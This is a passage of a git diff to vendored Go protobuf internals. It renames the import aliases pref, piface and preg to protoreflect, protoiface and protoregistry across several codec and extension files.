{ case nil: return nil - case pref.Enum: + case protoreflect.Enum: return e.Type() default: return legacyLoadEnumType(reflect.TypeOf(e)) @@ -71,7 +71,7 @@ func (Export) EnumTypeOf(e enum) pref.EnumType { // EnumStringOf returns the enum value as a string, either as the name if // the number is resolvable, or the number formatted as a string. -func (Export) EnumStringOf(ed pref.EnumDescriptor, n pref.EnumNumber) string { +func (Export) EnumStringOf(ed protoreflect.EnumDescriptor, n protoreflect.EnumNumber) string { ev := ed.Values().ByNumber(n) if ev != nil { return string(ev.Name()) @@ -84,7 +84,7 @@ func (Export) EnumStringOf(ed pref.EnumDescriptor, n pref.EnumNumber) string { type message = interface{} // legacyMessageWrapper wraps a v2 message as a v1 message. -type legacyMessageWrapper struct{ m pref.ProtoMessage } +type legacyMessageWrapper struct{ m protoreflect.ProtoMessage } func (m legacyMessageWrapper) Reset() { proto.Reset(m.m) } func (m legacyMessageWrapper) String() string { return Export{}.MessageStringOf(m.m) } @@ -92,30 +92,30 @@ func (m legacyMessageWrapper) ProtoMessage() {} // ProtoMessageV1Of converts either a v1 or v2 message to a v1 message. // It returns nil if m is nil. -func (Export) ProtoMessageV1Of(m message) piface.MessageV1 { +func (Export) ProtoMessageV1Of(m message) protoiface.MessageV1 { switch mv := m.(type) { case nil: return nil - case piface.MessageV1: + case protoiface.MessageV1: return mv case unwrapper: return Export{}.ProtoMessageV1Of(mv.protoUnwrap()) - case pref.ProtoMessage: + case protoreflect.ProtoMessage: return legacyMessageWrapper{mv} default: panic(fmt.Sprintf("message %T is neither a v1 or v2 Message", m)) } } -func (Export) protoMessageV2Of(m message) pref.ProtoMessage { +func (Export) protoMessageV2Of(m message) protoreflect.ProtoMessage { switch mv := m.(type) { case nil: return nil - case pref.ProtoMessage: + case protoreflect.ProtoMessage: return mv case legacyMessageWrapper: return mv.m - case piface.MessageV1: + case protoiface.MessageV1: return nil default: panic(fmt.Sprintf("message %T is neither a v1 or v2 Message", m)) @@ -124,7 +124,7 @@ func (Export) protoMessageV2Of(m message) pref.ProtoMessage { // ProtoMessageV2Of converts either a v1 or v2 message to a v2 message. // It returns nil if m is nil. -func (Export) ProtoMessageV2Of(m message) pref.ProtoMessage { +func (Export) ProtoMessageV2Of(m message) protoreflect.ProtoMessage { if m == nil { return nil } @@ -136,7 +136,7 @@ func (Export) ProtoMessageV2Of(m message) pref.ProtoMessage { // MessageOf returns the protoreflect.Message interface over m. // It returns nil if m is nil. -func (Export) MessageOf(m message) pref.Message { +func (Export) MessageOf(m message) protoreflect.Message { if m == nil { return nil } @@ -148,7 +148,7 @@ func (Export) MessageOf(m message) pref.Message { // MessageDescriptorOf returns the protoreflect.MessageDescriptor for m. // It returns nil if m is nil. -func (Export) MessageDescriptorOf(m message) pref.MessageDescriptor { +func (Export) MessageDescriptorOf(m message) protoreflect.MessageDescriptor { if m == nil { return nil } @@ -160,7 +160,7 @@ func (Export) MessageDescriptorOf(m message) pref.MessageDescriptor { // MessageTypeOf returns the protoreflect.MessageType for m. // It returns nil if m is nil. -func (Export) MessageTypeOf(m message) pref.MessageType { +func (Export) MessageTypeOf(m message) protoreflect.MessageType { if m == nil { return nil } @@ -172,6 +172,6 @@ func (Export) MessageTypeOf(m message) pref.MessageType { // MessageStringOf returns the message value as a string, // which is the message serialized in the protobuf text format. -func (Export) MessageStringOf(m pref.ProtoMessage) string { +func (Export) MessageStringOf(m protoreflect.ProtoMessage) string { return prototext.MarshalOptions{Multiline: false}.Format(m) } diff --git a/vendor/google.golang.org/protobuf/internal/impl/checkinit.go b/vendor/google.golang.org/protobuf/internal/impl/checkinit.go index b82341e57..bff041edc 100644 --- a/vendor/google.golang.org/protobuf/internal/impl/checkinit.go +++ b/vendor/google.golang.org/protobuf/internal/impl/checkinit.go @@ -8,18 +8,18 @@ import ( "sync" "google.golang.org/protobuf/internal/errors" - pref "google.golang.org/protobuf/reflect/protoreflect" - piface "google.golang.org/protobuf/runtime/protoiface" + "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/runtime/protoiface" ) -func (mi *MessageInfo) checkInitialized(in piface.CheckInitializedInput) (piface.CheckInitializedOutput, error) { +func (mi *MessageInfo) checkInitialized(in protoiface.CheckInitializedInput) (protoiface.CheckInitializedOutput, error) { var p pointer if ms, ok := in.Message.(*messageState); ok { p = ms.pointer() } else { p = in.Message.(*messageReflectWrapper).pointer() } - return piface.CheckInitializedOutput{}, mi.checkInitializedPointer(p) + return protoiface.CheckInitializedOutput{}, mi.checkInitializedPointer(p) } func (mi *MessageInfo) checkInitializedPointer(p pointer) error { @@ -90,7 +90,7 @@ var ( // needsInitCheck reports whether a message needs to be checked for partial initialization. // // It returns true if the message transitively includes any required or extension fields. -func needsInitCheck(md pref.MessageDescriptor) bool { +func needsInitCheck(md protoreflect.MessageDescriptor) bool { if v, ok := needsInitCheckMap.Load(md); ok { if has, ok := v.(bool); ok { return has @@ -101,7 +101,7 @@ func needsInitCheck(md pref.MessageDescriptor) bool { return needsInitCheckLocked(md) } -func needsInitCheckLocked(md pref.MessageDescriptor) (has bool) { +func needsInitCheckLocked(md protoreflect.MessageDescriptor) (has bool) { if v, ok := needsInitCheckMap.Load(md); ok { // If has is true, we've previously determined that this message // needs init checks. diff --git a/vendor/google.golang.org/protobuf/internal/impl/codec_extension.go b/vendor/google.golang.org/protobuf/internal/impl/codec_extension.go index 08d35170b..e74cefdc5 100644 --- a/vendor/google.golang.org/protobuf/internal/impl/codec_extension.go +++ b/vendor/google.golang.org/protobuf/internal/impl/codec_extension.go @@ -10,7 +10,7 @@ import ( "google.golang.org/protobuf/encoding/protowire" "google.golang.org/protobuf/internal/errors" - pref "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoreflect" ) type extensionFieldInfo struct { @@ -23,7 +23,7 @@ type extensionFieldInfo struct { var legacyExtensionFieldInfoCache sync.Map // map[protoreflect.ExtensionType]*extensionFieldInfo -func getExtensionFieldInfo(xt pref.ExtensionType) *extensionFieldInfo { +func getExtensionFieldInfo(xt protoreflect.ExtensionType) *extensionFieldInfo { if xi, ok := xt.(*ExtensionInfo); ok { xi.lazyInit() return xi.info @@ -32,7 +32,7 @@ func getExtensionFieldInfo(xt pref.ExtensionType) *extensionFieldInfo { } // legacyLoadExtensionFieldInfo dynamically loads a *ExtensionInfo for xt. -func legacyLoadExtensionFieldInfo(xt pref.ExtensionType) *extensionFieldInfo { +func legacyLoadExtensionFieldInfo(xt protoreflect.ExtensionType) *extensionFieldInfo { if xi, ok := legacyExtensionFieldInfoCache.Load(xt); ok { return xi.(*extensionFieldInfo) } @@ -43,7 +43,7 @@ func legacyLoadExtensionFieldInfo(xt pref.ExtensionType) *extensionFieldInfo { return e } -func makeExtensionFieldInfo(xd pref.ExtensionDescriptor) *extensionFieldInfo { +func makeExtensionFieldInfo(xd protoreflect.ExtensionDescriptor) *extensionFieldInfo { var wiretag uint64 if !xd.IsPacked() { wiretag = protowire.EncodeTag(xd.Number(), wireTypes[xd.Kind()]) @@ -59,10 +59,10 @@ func makeExtensionFieldInfo(xd pref.ExtensionDescriptor) *extensionFieldInfo { // This is true for composite types, where we pass in a message, list, or map to fill in, // and for enums, where we pass in a prototype value to specify the concrete enum type. switch xd.Kind() { - case pref.MessageKind, pref.GroupKind, pref.EnumKind: + case protoreflect.MessageKind, protoreflect.GroupKind, protoreflect.EnumKind: e.unmarshalNeedsValue = true default: - if xd.Cardinality() == pref.Repeated { + if xd.Cardinality() == protoreflect.Repeated { e.unmarshalNeedsValue = true } } @@ -73,21 +73,21 @@ type lazyExtensionValue struct { atomicOnce uint32 // atomically set if value is valid mu sync.Mutex xi *extensionFieldInfo - value pref.Value + value protoreflect.Value b []byte - fn func() pref.Value + fn func() protoreflect.Value } type ExtensionField struct { - typ pref.ExtensionType + typ protoreflect.ExtensionType // value is either the value of GetValue, // or a *lazyExtensionValue that then returns the value of GetValue. - value pref.Value + value protoreflect.Value lazy *lazyExtensionValue } -func (f *ExtensionField) appendLazyBytes(xt pref.ExtensionType, xi *extensionFieldInfo, num protowire.Number, wtyp protowire.Type, b []byte) { +func (f *ExtensionField) appendLazyBytes(xt protoreflect.ExtensionType, xi *extensionFieldInfo, num protowire.Number, wtyp protowire.Type, b []byte) { if f.lazy == nil { f.lazy = &lazyExtensionValue{xi: xi} } @@ -97,7 +97,7 @@ func (f *ExtensionField) appendLazyBytes(xt pref.ExtensionType, xi *extensionFie f.lazy.b = append(f.lazy.b, b...) } -func (f *ExtensionField) canLazy(xt pref.ExtensionType) bool { +func (f *ExtensionField) canLazy(xt protoreflect.ExtensionType) bool { if f.typ == nil { return true } @@ -154,7 +154,7 @@ func (f *ExtensionField) lazyInit() { // Set sets the type and value of the extension field. // This must not be called concurrently. -func (f *ExtensionField) Set(t pref.ExtensionType, v pref.Value) { +func (f *ExtensionField) Set(t protoreflect.ExtensionType, v protoreflect.Value) { f.typ = t f.value = v f.lazy = nil @@ -162,14 +162,14 @@ func (f *ExtensionField) Set(t pref.ExtensionType, v pref.Value) { // SetLazy sets the type and a value that is to be lazily evaluated upon first use. // This must not be called concurrently. -func (f *ExtensionField) SetLazy(t pref.ExtensionType, fn func() pref.Value) { +func (f *ExtensionField) SetLazy(t protoreflect.ExtensionType, fn func() protoreflect.Value) { f.typ = t f.lazy = &lazyExtensionValue{fn: fn} } // Value returns the value of the extension field. // This may be called concurrently. -func (f *ExtensionField) Value() pref.Value { +func (f *ExtensionField) Value() protoreflect.Value { if f.lazy != nil { if atomic.LoadUint32(&f.lazy.atomicOnce) == 0 { f.lazyInit() @@ -181,7 +181,7 @@ func (f *ExtensionField) Value() pref.Value { // Type returns the type of the extension field. // This may be called concurrently. -func (f ExtensionField) Type() pref.ExtensionType { +func (f ExtensionField) Type() protoreflect.ExtensionType { return f.typ } @@ -193,7 +193,7 @@ func (f ExtensionField) IsSet() bool { // IsLazy reports whether a field is lazily encoded. // It is exported for testing. -func IsLazy(m pref.Message, fd pref.FieldDescriptor) bool { +func IsLazy(m protoreflect.Message, fd protoreflect.FieldDescriptor) bool { var mi *MessageInfo var p pointer switch m := m.(type) { @@ -206,7 +206,7 @@ func IsLazy(m pref.Message, fd pref.FieldDescriptor) bool { default: return false } - xd, ok := fd.(pref.ExtensionTypeDescriptor) + xd, ok := fd.(protoreflect.ExtensionTypeDescriptor) if !ok { return false } diff --git a/vendor/google.golang.org/protobuf/internal/impl/codec_field.go b/vendor/google.golang.org/protobuf/internal/impl/codec_field.go index cb4b482d1..3fadd241e 100644 --- a/vendor/google.golang.org/protobuf/internal/impl/codec_field.go +++ b/vendor/google.golang.org/protobuf/internal/impl/codec_field.go @@ -12,9 +12,9 @@ import ( "google.golang.org/protobuf/encoding/protowire" "google.golang.org/protobuf/internal/errors" "google.golang.org/protobuf/proto" - pref "google.golang.org/protobuf/reflect/protoreflect" - preg "google.golang.org/protobuf/reflect/protoregistry" - piface "google.golang.org/protobuf/runtime/protoiface" + "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoregistry" + "google.golang.org/protobuf/runtime/protoiface" ) type errInvalidUTF8 struct{} @@ -30,7 +30,7 @@ func (errInvalidUTF8) Unwrap() error { return errors.Error } // to the appropriate field-specific function as necessary. // // The unmarshal function is set on each field individually as usual. -func (mi *MessageInfo) initOneofFieldCoders(od pref.OneofDescriptor, si structInfo) { +func (mi *MessageInfo) initOneofFieldCoders(od protoreflect.OneofDescriptor, si structInfo) { fs := si.oneofsByName[od.Name()] ft := fs.Type oneofFields := make(map[reflect.Type]*coderFieldInfo) @@ -118,13 +118,13 @@ func (mi *MessageInfo) initOneofFieldCoders(od pref.OneofDescriptor, si structIn } } -func makeWeakMessageFieldCoder(fd pref.FieldDescriptor) pointerCoderFuncs { +func makeWeakMessageFieldCoder(fd protoreflect.FieldDescriptor) pointerCoderFuncs { var once sync.Once - var messageType pref.MessageType + var messageType protoreflect.MessageType lazyInit := func() { once.Do(func() { messageName := fd.Message().FullName() - messageType, _ = preg.GlobalTypes.FindMessageByName(messageName) + messageType, _ = protoregistry.GlobalTypes.FindMessageByName(messageName) }) } @@ -190,7 +190,7 @@ func makeWeakMessageFieldCoder(fd pref.FieldDescriptor) pointerCoderFuncs { } } -func makeMessageFieldCoder(fd pref.FieldDescriptor, ft reflect.Type) pointerCoderFuncs { +func makeMessageFieldCoder(fd protoreflect.FieldDescriptor, ft reflect.Type) pointerCoderFuncs { if mi := getMessageInfo(ft); mi != nil { funcs := pointerCoderFuncs{ size: sizeMessageInfo, @@ -280,7 +280,7 @@ func consumeMessage(b []byte, m proto.Message, wtyp protowire.Type, opts unmarsh if n < 0 { return out, errDecode } - o, err := opts.Options().UnmarshalState(piface.UnmarshalInput{ + o, err := opts.Options().UnmarshalState(protoiface.UnmarshalInput{ Buf: v, Message: m.ProtoReflect(), }) @@ -288,27 +288,27 @@ func consumeMessage(b []byte, m proto.Message, wtyp protowire.Type, opts unmarsh return out, err } out.n = n - out.initialized = o.Flags&piface.UnmarshalInitialized != 0 + out.initialized = o.Flags&protoiface.UnmarshalInitialized != 0 return out, nil } -func sizeMessageValue(v pref.Value, tagsize int, opts marshalOptions) int { +func sizeMessageValue(v protoreflect.Value, tagsize int, opts marshalOptions) int { m := v.Message().Interface() return sizeMessage(m, tagsize, opts) } -func appendMessageValue(b []byte, v pref.Value, wiretag uint64, opts marshalOptions) ([]byte, error) { +func appendMessageValue(b []byte, v protoreflect.Value, wiretag uint64, opts marshalOptions) ([]byte, error) { m := v.Message().Interface() return appendMessage(b, m, wiretag, opts) } -func consumeMessageValue(b []byte, v pref.Value, _ protowire.Number, wtyp protowire.Type, opts unmarshalOptions) (pref.Value, unmarshalOutput, error) { +func consumeMessageValue(b []byte, v protoreflect.Value, _ protowire.Number, wtyp protowire.Type, opts unmarshalOptions) (protoreflect.Value, unmarshalOutput, error) { m := v.Message().Interface() out, err := consumeMessage(b, m, wtyp, opts) return v, out, err } -func isInitMessageValue(v pref.Value) error { +func isInitMessageValue(v protoreflect.Value) error { m := v.Message().Interface() return proto.CheckInitialized(m) } @@ -321,17 +321,17 @@ var coderMessageValue = valueCoderFuncs{ merge: mergeMessageValue, } -func sizeGroupValue(v pref.Value, tagsize int, opts marshalOptions) int { +func sizeGroupValue(v protoreflect.Value, tagsize int, opts marshalOptions) int { m := v.Message().Interface() return sizeGroup(m, tagsize, opts) } -func appendGroupValue(b []byte, v pref.Value, wiretag uint64, opts marshalOptions) ([]byte, error) { +func appendGroupValue(b []byte, v protoreflect.Value, wiretag uint64, opts marshalOptions) ([]byte, error) { m := v.Message().Interface() return appendGroup(b, m, wiretag, opts) } -func consumeGroupValue(b []byte, v pref.Value, num protowire.Number, wtyp protowire.Type, opts unmarshalOptions) (pref.Value, unmarshalOutput, error) { +func consumeGroupValue(b []byte, v protoreflect.Value, num protowire.Number, wtyp protowire.Type, opts unmarshalOptions) (protoreflect.Value, unmarshalOutput, error) { m := v.Message().Interface() out, err := consumeGroup(b, m, num, wtyp, opts) return v, out, err @@ -345,7 +345,7 @@ var coderGroupValue = valueCoderFuncs{ merge: mergeMessageValue, } -func makeGroupFieldCoder(fd pref.FieldDescriptor, ft reflect.Type) pointerCoderFuncs { +func makeGroupFieldCoder(fd protoreflect.FieldDescriptor, ft reflect.Type) pointerCoderFuncs { num := fd.Number() if mi := getMessageInfo(ft); mi != nil { funcs := pointerCoderFuncs{ @@ -424,7 +424,7 @@ func consumeGroup(b []byte, m proto.Message, num protowire.Number, wtyp protowir if n < 0 { return out, errDecode } - o, err := opts.Options().UnmarshalState(piface.UnmarshalInput{ + o, err := opts.Options().UnmarshalState(protoiface.UnmarshalInput{ Buf: b, Message: m.ProtoReflect(), }) @@ -432,11 +432,11 @@ func consumeGroup(b []byte, m proto.Message, num protowire.Number, wtyp protowir return out, err } out.n = n - out.initialized = o.Flags&piface.UnmarshalInitialized != 0 + out.initialized = o.Flags&protoiface.UnmarshalInitialized != 0 return out, nil } -func makeMessageSliceFieldCoder(fd pref.FieldDescriptor, ft reflect.Type) pointerCoderFuncs { +func makeMessageSliceFieldCoder(fd protoreflect.FieldDescriptor, ft reflect.Type) pointerCoderFuncs { if mi := getMessageInfo(ft); mi != nil { funcs := pointerCoderFuncs{ size: sizeMessageSliceInfo, @@ -555,7 +555,7 @@ func consumeMessageSlice(b []byte, p pointer, goType reflect.Type, wtyp protowir return out, errDecode } mp := reflect.New(goType.Elem()) - o, err := opts.Options().UnmarshalState(piface.UnmarshalInput{ + o, err := opts.Options().UnmarshalState(protoiface.UnmarshalInput{ Buf: v, Message: asMessage(mp).ProtoReflect(), }) @@ -564,7 +564,7 @@ func consumeMessageSlice(b []byte, p pointer, goType reflect.Type, wtyp protowir } p.AppendPointerSlice(pointerOfValue(mp)) out.n = n - out.initialized = o.Flags&piface.UnmarshalInitialized != 0 + out.initialized = o.Flags&protoiface.UnmarshalInitialized != 0 return out, nil } @@ -581,7 +581,7 @@ func isInitMessageSlice(p pointer, goType reflect.Type) error { // Slices of messages -func sizeMessageSliceValue(listv pref.Value, tagsize int, opts marshalOptions) int { +func sizeMessageSliceValue(listv protoreflect.Value, tagsize int, opts marshalOptions) int { list := listv.List() n := 0 for i, llen := 0, list.Len(); i < llen; i++ { @@ -591,7 +591,7 @@ func sizeMessageSliceValue(listv pref.Value, tagsize int, opts marshalOptions) i return n } -func appendMessageSliceValue(b []byte, listv pref.Value, wiretag uint64, opts marshalOptions) ([]byte, error) { +func appendMessageSliceValue(b []byte, listv protoreflect.Value, wiretag uint64, opts marshalOptions) ([]byte, error) { list := listv.List() mopts := opts.Options() for i, llen := 0, list.Len(); i < llen; i++ { @@ -608,30 +608,30 @@ func appendMessageSliceValue(b []byte, listv pref.Value, wiretag uint64, opts ma return b, nil } -func consumeMessageSliceValue(b []byte, listv pref.Value, _ protowire.Number, wtyp protowire.Type, opts unmarshalOptions) (_ pref.Value, out unmarshalOutput, err error) { +func consumeMessageSliceValue(b []byte, listv protoreflect.Value, _ protowire.Number, wtyp protowire.Type, opts unmarshalOptions) (_ protoreflect.Value, out unmarshalOutput, err error) { list := listv.List() if wtyp != protowire.BytesType { - return pref.Value{}, out, errUnknown + return protoreflect.Value{}, out, errUnknown } v, n := protowire.ConsumeBytes(b) if n < 0 { - return pref.Value{}, out, errDecode + return protoreflect.Value{}, out, errDecode } m := list.NewElement() - o, err := opts.Options().UnmarshalState(piface.UnmarshalInput{ + o, err := opts.Options().UnmarshalState(protoiface.UnmarshalInput{ Buf: v, Message: m.Message(), }) if err != nil { - return pref.Value{}, out, err + return protoreflect.Value{}, out, err } list.Append(m) out.n = n - out.initialized = o.Flags&piface.UnmarshalInitialized != 0 + out.initialized = o.Flags&protoiface.UnmarshalInitialized != 0 return listv, out, nil } -func isInitMessageSliceValue(listv pref.Value) error { +func isInitMessageSliceValue(listv protoreflect.Value) error { list := listv.List() for i, llen := 0, list.Len(); i < llen; i++ { m := list.Get(i).Message().Interface() @@ -650,7 +650,7 @@ var coderMessageSliceValue = valueCoderFuncs{ merge: mergeMessageListValue, } -func sizeGroupSliceValue(listv pref.Value, tagsize int, opts marshalOptions) int { +func sizeGroupSliceValue(listv protoreflect.Value, tagsize int, opts marshalOptions) int { list := listv.List() n := 0 for i, llen := 0, list.Len(); i < llen; i++ { @@ -660,7 +660,7 @@ func sizeGroupSliceValue(listv pref.Value, tagsize int, opts marshalOptions) int return n } -func appendGroupSliceValue(b []byte, listv pref.Value, wiretag uint64, opts marshalOptions) ([]byte, error) { +func appendGroupSliceValue(b []byte, listv protoreflect.Value, wiretag uint64, opts marshalOptions) ([]byte, error) { list := listv.List() mopts := opts.Options() for i, llen := 0, list.Len(); i < llen; i++ { @@ -676,26 +676,26 @@ func appendGroupSliceValue(b []byte, listv pref.Value, wiretag uint64, opts mars return b, nil } -func consumeGroupSliceValue(b []byte, listv pref.Value, num protowire.Number, wtyp protowire.Type, opts unmarshalOptions) (_ pref.Value, out unmarshalOutput, err error) { +func consumeGroupSliceValue(b []byte, listv protoreflect.Value, num protowire.Number, wtyp protowire.Type, opts unmarshalOptions) (_ protoreflect.Value, out unmarshalOutput, err error) { list := listv.List() if wtyp != protowire.StartGroupType { - return pref.Value{}, out, errUnknown + return protoreflect.Value{}, out, errUnknown } b, n := protowire.ConsumeGroup(num, b) if n < 0 { - return pref.Value{}, out, errDecode + return protoreflect.Value{}, out, errDecode } m := list.NewElement() - o, err := opts.Options().UnmarshalState(piface.UnmarshalInput{ + o, err := opts.Options().UnmarshalState(protoiface.UnmarshalInput{ Buf: b, Message: m.Message(), }) if err != nil { - return pref.Value{}, out, err + return protoreflect.Value{}, out, err } list.Append(m) out.n = n - out.initialized = o.Flags&piface.UnmarshalInitialized != 0 + out.initialized = o.Flags&protoiface.UnmarshalInitialized != 0 return listv, out, nil } @@ -707,7 +707,7 @@ var coderGroupSliceValue = valueCoderFuncs{ merge: mergeMessageListValue, } -func makeGroupSliceFieldCoder(fd pref.FieldDescriptor, ft reflect.Type) pointerCoderFuncs { +func makeGroupSliceFieldCoder(fd protoreflect.FieldDescriptor, ft reflect.Type) pointerCoderFuncs { num := fd.Number() if mi := getMessageInfo(ft); mi != nil { funcs := pointerCoderFuncs{ @@ -772,7 +772,7 @@ func consumeGroupSlice(b []byte, p pointer, num protowire.Number, wtyp protowire return out, errDecode } mp := reflect.New(goType.Elem()) - o, err := opts.Options().UnmarshalState(piface.UnmarshalInput{ + o, err := opts.Options().UnmarshalState(protoiface.UnmarshalInput{ Buf: b, Message: asMessage(mp).ProtoReflect(), }) @@ -781,7 +781,7 @@ func consumeGroupSlice(b []byte, p pointer, num protowire.Number, wtyp protowire } p.AppendPointerSlice(pointerOfValue(mp)) out.n = n - out.initialized = o.Flags&piface.UnmarshalInitialized != 0 + out.initialized = o.Flags&protoiface.UnmarshalInitialized != 0 return out, nil } @@ -822,8 +822,8 @@ func consumeGroupSliceInfo(b []byte, p pointer, wtyp protowire.Type, f *coderFie return out, nil } -func asMessage(v reflect.Value) pref.ProtoMessage { - if m, ok := v.Interface().(pref.ProtoMessage); ok { +func asMessage(v reflect.Value) protoreflect.ProtoMessage { + if m, ok := v.Interface().(protoreflect.ProtoMessage); ok { return m } return legacyWrapMessage(v).Interface() diff --git a/vendor/google.golang.org/protobuf/internal/impl/codec_map.go b/vendor/google.golang.org/protobuf/internal/impl/codec_map.go index c1245fef4..111b9d16f 100644 --- a/vendor/google.golang.org/protobuf/internal/impl/codec_map.go +++ b/vendor/google.golang.org/protobuf/internal/impl/codec_map.go @@ -10,7 +10,7 @@ import ( "google.golang.org/protobuf/encoding/protowire" "google.golang.org/protobuf/internal/genid" - pref "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoreflect" ) type mapInfo struct { @@ -19,12 +19,12 @@ type mapInfo struct { valWiretag uint64 keyFuncs valueCoderFuncs valFuncs valueCoderFuncs - keyZero pref.Value - keyKind pref.Kind + keyZero protoreflect.Value + keyKind protoreflect.Kind conv *mapConverter } -func encoderFuncsForMap(fd pref.FieldDescriptor, ft reflect.Type) (valueMessage *MessageInfo, funcs pointerCoderFuncs) { +func encoderFuncsForMap(fd protoreflect.FieldDescriptor, ft reflect.Type) (valueMessage *MessageInfo, funcs pointerCoderFuncs) { // TODO: Consider generating specialized map coders. keyField := fd.MapKey() valField := fd.MapValue() @@ -44,7 +44,7 @@ func encoderFuncsForMap(fd pref.FieldDescriptor, ft reflect.Type) (valueMessage keyKind: keyField.Kind(), conv: conv, } - if valField.Kind() == pref.MessageKind { + if valField.Kind() == protoreflect.MessageKind { valueMessage = getMessageInfo(ft.Elem()) } @@ -68,9 +68,9 @@ func encoderFuncsForMap(fd pref.FieldDescriptor, ft reflect.Type) (valueMessage }, } switch valField.Kind() { - case pref.MessageKind: + case protoreflect.MessageKind: funcs.merge = mergeMapOfMessage - case pref.BytesKind: + case protoreflect.BytesKind: funcs.merge = mergeMapOfBytes default: funcs.merge = mergeMap @@ -135,7 +135,7 @@ func consumeMap(b []byte, mapv reflect.Value, wtyp protowire.Type, mapi *mapInfo err := errUnknown switch num { case genid.MapEntry_Key_field_number: - var v pref.Value + var v protoreflect.Value var o unmarshalOutput v, o, err = mapi.keyFuncs.unmarshal(b, key, num, wtyp, opts) if err != nil { @@ -144,7 +144,7 @@ func consumeMap(b []byte, mapv reflect.Value, wtyp protowire.Type, mapi *mapInfo key = v n = o.n case genid.MapEntry_Value_field_number: - var v pref.Value + var v protoreflect.Value var o unmarshalOutput v, o, err = mapi.valFuncs.unmarshal(b, val, num, wtyp, opts) if err != nil { @@ -192,7 +192,7 @@ func consumeMapOfMessage(b []byte, mapv reflect.Value, wtyp protowire.Type, mapi err := errUnknown switch num { case 1: - var v pref.Value + var v protoreflect.Value var o unmarshalOutput v, o, err = mapi.keyFuncs.unmarshal(b, key, num, wtyp, opts) if err != nil { diff --git a/vendor/google.golang.org/protobuf/internal/impl/codec_message.go b/vendor/google.golang.org/protobuf/internal/impl/codec_message.go index cd40527ff..6b2fdbb73 100644 --- a/vendor/google.golang.org/protobuf/internal/impl/codec_message.go +++ b/vendor/google.golang.org/protobuf/internal/impl/codec_message.go @@ -12,15 +12,15 @@ import ( "google.golang.org/protobuf/encoding/protowire" "google.golang.org/protobuf/internal/encoding/messageset" "google.golang.org/protobuf/internal/order" - pref "google.golang.org/protobuf/reflect/protoreflect" - piface "google.golang.org/protobuf/runtime/protoiface" + "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/runtime/protoiface" ) // coderMessageInfo contains per-message information used by the fast-path functions. // This is a different type from MessageInfo to keep MessageInfo as general-purpose as // possible. type coderMessageInfo struct { - methods piface.Methods + methods protoiface.Methods orderedCoderFields []*coderFieldInfo denseCoderFields []*coderFieldInfo @@ -38,13 +38,13 @@ type coderFieldInfo struct { funcs pointerCoderFuncs // fast-path per-field functions mi *MessageInfo // field's message ft reflect.Type - validation validationInfo // information used by message validation - num pref.FieldNumber // field number - offset offset // struct field offset - wiretag uint64 // field tag (number + wire type) - tagsize int // size of the varint-encoded tag - isPointer bool // true if IsNil may be called on the struct field - isRequired bool // true if field is required + validation validationInfo // information used by message validation + num protoreflect.FieldNumber // field number + offset offset // struct field offset + wiretag uint64 // field tag (number + wire type) + tagsize int // size of the varint-encoded tag + isPointer bool // true if IsNil may be called on the struct field + isRequired bool // true if field is required } func (mi *MessageInfo) makeCoderMethods(t reflect.Type, si structInfo) { @@ -125,8 +125,8 @@ func (mi *MessageInfo) makeCoderMethods(t reflect.Type, si structInfo) { funcs: funcs, mi: childMessage, validation: newFieldValidationInfo(mi, si, fd, ft), - isPointer: fd.Cardinality() == pref.Repeated || fd.HasPresence(), - isRequired: fd.Cardinality() == pref.Required, + isPointer: fd.Cardinality() == protoreflect.Repeated || fd.HasPresence(), + isRequired: fd.Cardinality() == protoreflect.Required, } mi.orderedCoderFields = append(mi.orderedCoderFields, cf) mi.coderFields[cf.num] = cf @@ -149,7 +149,7 @@ func (mi *MessageInfo) makeCoderMethods(t reflect.Type, si structInfo) { return mi.orderedCoderFields[i].num < mi.orderedCoderFields[j].num }) - var maxDense pref.FieldNumber + var maxDense protoreflect.FieldNumber for _, cf := range mi.orderedCoderFields { if cf.num >= 16 && cf.num >= 2*maxDense { break @@ -175,12 +175,12 @@ func (mi *MessageInfo) makeCoderMethods(t reflect.Type, si structInfo) { mi.needsInitCheck = needsInitCheck(mi.Desc) if mi.methods.Marshal == nil && mi.methods.Size == nil { - mi.methods.Flags |= piface.SupportMarshalDeterministic + mi.methods.Flags |= protoiface.SupportMarshalDeterministic mi.methods.Marshal = mi.marshal mi.methods.Size = mi.size } if mi.methods.Unmarshal == nil { - mi.methods.Flags |= piface.SupportUnmarshalDiscardUnknown + mi.methods.Flags |= protoiface.SupportUnmarshalDiscardUnknown mi.methods.Unmarshal = mi.unmarshal } if mi.methods.CheckInitialized == nil { diff --git a/vendor/google.golang.org/protobuf/internal/impl/codec_tables.go b/vendor/google.golang.org/protobuf/internal/impl/codec_tables.go index e89971238..576dcf3aa 100644 --- a/vendor/google.golang.org/protobuf/internal/impl/codec_tables.go +++ b/vendor/google.golang.org/protobuf/internal/impl/codec_tables.go @@ -10,7 +10,7 @@ import ( "google.golang.org/protobuf/encoding/protowire" "google.golang.org/protobuf/internal/strs" - pref "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoreflect" ) // pointerCoderFuncs is a set of pointer encoding functions. @@ -25,83 +25,83 @@ type pointerCoderFuncs struct { // valueCoderFuncs is a set of protoreflect.Value encoding functions. type valueCoderFuncs struct { - size func(v pref.Value, tagsize int, opts marshalOptions) int - marshal func(b []byte, v pref.Value, wiretag uint64, opts marshalOptions) ([]byte, error) - unmarshal func(b []byte, v pref.Value, num protowire.Number, wtyp protowire.Type, opts unmarshalOptions) (pref.Value, unmarshalOutput, error) - isInit func(v pref.Value) error - merge func(dst, src pref.Value, opts mergeOptions) pref.Value + size func(v protoreflect.Value, tagsize int, opts marshalOptions) int + marshal func(b []byte, v protoreflect.Value, wiretag uint64, opts marshalOptions) ([]byte, error) + unmarshal func(b []byte, v protoreflect.Value, num protowire.Number, wtyp protowire.Type, opts unmarshalOptions) (protoreflect.Value, unmarshalOutput, error) + isInit func(v protoreflect.Value) error + merge func(dst, src protoreflect.Value, opts mergeOptions) protoreflect.Value } // fieldCoder returns pointer functions for a field, used for operating on // struct fields. -func fieldCoder(fd pref.FieldDescriptor, ft reflect.Type) (*MessageInfo, pointerCoderFuncs) { +func fieldCoder(fd protoreflect.FieldDescriptor, ft reflect.Type) (*MessageInfo, pointerCoderFuncs) { switch { case fd.IsMap(): return encoderFuncsForMap(fd, ft) - case 